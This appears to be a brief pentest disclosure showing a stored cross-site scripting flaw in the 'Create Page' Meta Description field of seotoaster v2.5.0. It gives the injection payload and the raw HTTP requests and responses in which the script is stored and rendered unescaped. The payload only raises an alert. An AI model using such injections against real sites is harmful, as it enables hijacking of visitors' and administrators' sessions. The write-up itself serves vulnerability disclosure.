Friday Fun Pentest Series - 35 - Stored XSS "Create Page" Functionality - seotoasterv2.5.0

Description

- It was noted that the application was vulnerable to Cross-Site Scripting (XSS) in the "Create Page".

Stored XSS "Create Page" #1

Steps to Reproduce:

1. Login with admin and visit "Pages" > "Create a Page" 
2. In the "Meta Description" add the following payload "><img src=x onerror=alert(1)>

// HTTP POST Request

POST /seotoaster/backend/backend_page/page HTTP/1.1

Host: 192.168.58.149

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0

[...]

h1=test3&headerTitle=test3&url=test3&navName=test3&metaKeywords=test3&metaDescription="><img src=x onerror=alert(1)>[...]

// HTTP Response

HTTP/1.1 200 OK

Date: Sun, 20 Jul 2025 15:20:42 GMT

Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3

[...]

{"error":0,"responseText":{"redirectTo":"test3.html"},"httpCode":200}

// HTTP GET Request

GET /seotoaster/test3.html HTTP/1.1

Host: 192.168.58.149

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0

[...]

// HTTP Response

HTTP/1.1 200 OK

Date: Sun, 20 Jul 2025 15:20:44 GMT

Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3

[...]

[...]

<p class="news-description grid_10 omega">"><img src=x onerror=alert(1)></p>

</div>

[...]